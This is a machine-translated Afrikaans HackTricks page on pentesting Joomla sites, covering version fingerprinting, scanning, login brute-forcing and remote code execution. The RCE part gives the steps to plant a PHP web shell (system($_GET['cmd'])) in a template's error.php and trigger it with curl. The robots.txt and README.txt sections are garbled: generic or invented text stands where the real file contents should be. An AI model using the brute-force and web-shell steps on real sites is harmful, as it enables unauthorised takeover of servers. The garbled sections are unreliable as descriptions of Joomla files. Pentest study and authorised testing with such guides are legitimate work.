hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-02-11 02:07:06 +00:00

9.1 KiB

Joomla

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Joomla Statistieke

Joomla versamel sekere anonieme gebruiksstatistieke soos die uiteensetting van Joomla, PHP en databasisweergawes en bedienersisteem in gebruik op Joomla-installasies. Hierdie data kan ondervra word deur middel van hul openbare API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumerasie

Ontdekking/Voetspore

  • Kontroleer die meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />

robots.txt

Die robots.txt-lêer is 'n tekstêr wat deur webwerwe gebruik word om aan soekenjins te vertel watter dele van die webwerf nie geïndekseer moet word nie. Dit is 'n belangrike hulpmiddel vir webwerf-eienaars om beheer oor die sienbaarheid van hul inhoud in soekenjins te hê.

Die robots.txt-lêer is 'n eenvoudige tekslêer wat in die hoofgids van 'n webwerf geplaas word. Dit bevat instruksies vir soekenjins oor watter gedeeltes van die webwerf geïndekseer mag word en watter gedeeltes nie. Dit is belangrik om te verstaan dat die robots.txt-lêer slegs 'n aanbeveling is en dat soekenjins nie verplig is om dit te volg nie.

Die sintaksis van die robots.txt-lêer is eenvoudig. Dit bestaan uit 'n reeks van regels wat elkeen 'n spesifieke instruksie bevat. Die mees algemene instruksies is User-agent en Disallow. Die User-agent-instruksie identifiseer die soekenjinbot wat die instruksies moet volg, terwyl die Disallow-instruksie spesifiseer watter gedeeltes van die webwerf nie geïndekseer mag word nie.

Byvoorbeeld, as jy wil hê dat alle soekenjins jou hele webwerf moet ignoreer, kan jy die volgende reël in jou robots.txt-lêer insluit:

User-agent: *
Disallow: /

Hierdie instruksie sal aan alle soekenjins sê om nie enige gedeelte van jou webwerf te indekseer nie. Dit is egter belangrik om versigtig te wees met die gebruik van die Disallow-instruksie, aangesien dit ook kan verhoed dat legitieme soekenjins toegang tot belangrike inhoud op jou webwerf verkry.

Dit is ook moontlik om spesifieke gedeeltes van jou webwerf uit te sluit van indeksering. Byvoorbeeld, as jy wil hê dat 'n spesifieke gids op jou webwerf nie geïndekseer moet word nie, kan jy die volgende reël in jou robots.txt-lêer insluit:

User-agent: *
Disallow: /gids/

Hierdie instruksie sal aan alle soekenjins sê om die /gids/-gids uit te sluit van indeksering. Dit beteken dat die inhoud van hierdie gids nie in soekenjins sal verskyn nie.

Dit is belangrik om die robots.txt-lêer korrek te konfigureer en gereeld te hersien om te verseker dat dit die gewenste resultate lewer. Foute in die robots.txt-lêer kan lei tot onbedoelde gevolge, soos die uitsluiting van belangrike inhoud uit soekenjins.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]

README.txt

Hierdie lêer bevat inligting oor die pentesting van Joomla-webwerwe. Dit bevat 'n lys van hulpmiddels en tegnieke wat gebruik kan word om die veiligheid van 'n Joomla-webwerf te toets en te beproef.

Inhoud

  1. Joomla Pentesting-gids

    • Inleiding tot Joomla-pentesting
    • Identifisering van Joomla-weergawes
    • Joomla-weergawe-uitbuiting
    • Joomla-gebruikersinligting oopmaak
    • Joomla-databasisinligting oopmaak
    • Joomla-tema- en uitbreidingsinligting oopmaak
    • Joomla-beveiligingsmaatreëls
    • Aanbevelings vir die versterking van Joomla-webwerwe
  2. Hulpmiddels vir Joomla Pentesting

    • Joomla-scanners
    • Joomla-uitbuitingshulpmiddels
    • Joomla-databasisverkenner
    • Joomla-wagwoordkraker
    • Joomla-tema- en uitbreidingsontleder
    • Joomla-veiligheidstoetshulpmiddels
  3. Aanvullende bronne

    • Nuttige webwerwe en blogs
    • Boeke en artikels oor Joomla-pentesting
    • Aanlyngemeenskappe en forums

Bydraes

As jy enige bydraes of voorstelle het om hierdie gids te verbeter, voel asseblief vry om 'n bydrae te maak deur 'n trekversoek in te dien. Ons waardeer enige bydrae wat kan help om hierdie gids meer volledig en nuttig te maak.

Lisensie

Hierdie gids is gelisensieer onder die MIT-lisensie. Jy is vry om die inhoud te gebruik, te wysig en te versprei volgens die voorwaardes van hierdie lisensie.

Skakels

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Weergawe

  • In /administrator/manifests/files/joomla.xml kan jy die weergawe sien.
  • In /language/en-GB/en-GB.xml kan jy die weergawe van Joomla kry.
  • In plugins/system/cache/cache.xml kan jy 'n benaderende weergawe sien.

Outomaties

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS-skanners wat Joomla kan skandeer.

Brute-Force

Jy kan hierdie skripsie gebruik om die aanmelding met geweld te probeer.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

As jy daarin slaag om admin-legitimasie te kry, kan jy RCE binne-in dit kry deur 'n stukkie PHP-kode by te voeg om RCE te verkry. Ons kan dit doen deur 'n sjabloon aan te pas.

  1. Klik op Templates aan die onderkant links onder Configuration om die sjabloonmenu op te roep.
  2. Klik op 'n sjabloonnaam. Laat ons protostar onder die Template-kolomkop kies. Dit sal ons na die Templates: Customise-bladsy bring.
  3. Uiteindelik kan jy op 'n bladsy klik om die bladsybron op te roep. Laat ons die error.php-bladsy kies. Ons sal 'n PHP-eenreëler byvoeg om kode-uitvoering te verkry soos volg:
  4. system($_GET['cmd']);
  5. Save & Close
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!